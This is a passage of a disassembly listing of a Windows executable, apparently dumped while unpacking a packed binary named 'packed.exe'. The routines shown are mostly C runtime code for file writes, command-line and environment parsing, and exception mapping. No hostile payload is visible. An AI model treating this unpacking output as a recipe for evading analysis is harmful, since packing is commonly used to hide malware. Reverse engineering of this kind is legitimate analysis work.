XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2720000h test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDDC, 9 mov dword_4DBDE0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j call near ptr 269086Bh nop mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 2720000h nop test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j nop call near ptr 269086Bh mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDDC, 1Ch mov dword_4DBDE0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE78, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi nop call near ptr 2650000h test eax, eax jz short loc_4232FC mov dword_4DBE78, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB88C push esi push edi nop call near ptr 2651132h test eax, eax jz loc_423436 mov dword_4DBE78, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE78 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2651132h nop jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2710000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2710000h test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 28410A4h nop mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; --------------------------------------------------------------------------- loc_423528: ; CODE XREF: ___:0042351Aj cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBE9C mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBE9C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4C0 mov edx, dword_43D4C4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D450h[esi*4] loc_42356E: ; CODE XREF: ___:00423575j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: ___:00423560j mov eax, [eax] mov esi, dword_43D4CC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4CC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: ___:00423584j cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4CC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: ___:00423597j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4CC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: ___:004235AAj cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4CC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: ___:004235BDj cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4CC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: ___:004235D0j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4CC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: ___:004235E3j cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4CC, 8Ah loc_423602: ; CODE XREF: ___:00423590j ; ___:004235A3j ... push dword_43D4CC push 8 call ebx pop ecx mov dword_43D4CC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: ___:00423549j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: ___:00423615j mov eax, [ebp+8] mov dword_4DBE9C, eax loc_423627: ; CODE XREF: ___:0042352Bj or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: ___:00423506j ; ___:00423511j push dword ptr [ebp+0Ch] nop call near ptr 2640000h loc_423635: ; CODE XREF: ___:00423523j ; ___:0042362Aj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: ___:004234FEp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D448, edx push esi mov eax, offset dword_43D448 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; --------------------------------------------------------------------------- cmp dword_4DD394, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: ___:00423682j push esi mov esi, dword_4DD38C mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: ___:004236AEj ; ___:004236B1j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: ___:0042369Cj ; ___:004236A0j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: ___:004236CDj inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: ___:00423694j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: ___:004236C3j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: ___:004236B6j ; ___:004236B9j ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: ___:004236C9j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: ___:004236DEj mov esi, dword_4DBE34 xor edi, edi loc_4236ED: ; CODE XREF: ___:00423703j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: ___:004236F5j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: ___:004236F1j lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE04, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: ___:0042371Dj mov edi, dword_4DBE34 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: ___:00423767j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: ___:0042374Cj push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: ___:0042373Fj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: ___:0042372Fj push dword_4DBE34 call sub_41BA91 pop ecx mov dword_4DBE34, ebx mov [esi], ebx pop edi pop esi mov dword_4DD390, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: ___:0042379Cj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2680000h nop mov eax, dword_4DD38C mov off_4DBE14, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: ___:004237C4j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: ___:004237EEj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DBDFC, esi pop edi pop esi mov dword_4DBDF8, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: ___:004237D3p ; ___:00423809p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD261[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD261[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBFA4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFA4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: ___:004239FAj nop call near ptr 2630B54h mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFA4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: ___:004239F2j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: ___:00423A06j cmp esi, ebx jnz short loc_423A40 call ebp mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: ___:00423A32j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: ___:00423A4Cj ; ___:00423A53j inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: ___:00423A45j sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423AA2 push dword ptr [esp+10h] call sub_41BA91 pop ecx mov [esp+10h], ebx loc_423AA2: ; CODE XREF: ___:00423A92j mov ebx, [esp+10h] loc_423AA6: ; CODE XREF: ___:00423A72j ; ___:00423A81j push esi nop call near ptr 2630DFFh mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: ___:00423A2Aj cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: ___:00423A22j cmp edi, ebx jnz short loc_423AC6 nop call near ptr 2630B54h mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: ___:00423AB8j cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: ___:00423ACFj ; ___:00423AD4j inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: ___:00423ACAj sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: ___:00423AE6j push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: ___:00423AEAj push edi nop call near ptr 2630E44h mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: ___:00423A12j ; ___:00423A3Aj ... xor eax, eax loc_423B04: ; CODE XREF: ___:00423AAFj ; ___:00423B00j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: ___:00423B21j mov dword_4DD040, esi mov dword_4DD140, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: ___:00423B5Dj cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD040 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: ___:00423B43j lea eax, [esp+10h] push eax call near ptr 2890000h nop cmp word ptr [esp+42h], 0 jz loc_423C3B mov eax, [esp+44h] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: ___:00423B91j cmp dword_4DD140, esi jge short loc_423BEF mov edi, offset dword_4DD044 loc_423BA2: ; CODE XREF: ___:00423BE5j push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD140, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: ___:00423BDAj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: ___:00423BC2j add edi, 4 cmp dword_4DD140, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: ___:00423BAFj mov esi, dword_4DD140 loc_423BEF: ; CODE XREF: ___:00423B9Bj ; ___:00423BE7j xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: ___:00423C39j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax nop call near ptr 2630000h test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: ___:00423C07j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: ___:00423BFAj ; ___:00423C02j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: ___:00423B70j ; ___:00423B7Cj ... xor ebx, ebx loc_423C3D: ; CODE XREF: ___:00423CA0j mov eax, dword_4DD040 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; --------------------------------------------------------------------------- loc_423C58: ; CODE XREF: ___:00423C51j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423C62: ; CODE XREF: ___:00423C56j push eax nop call near ptr 263083Fh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi nop call near ptr 2630000h test eax, 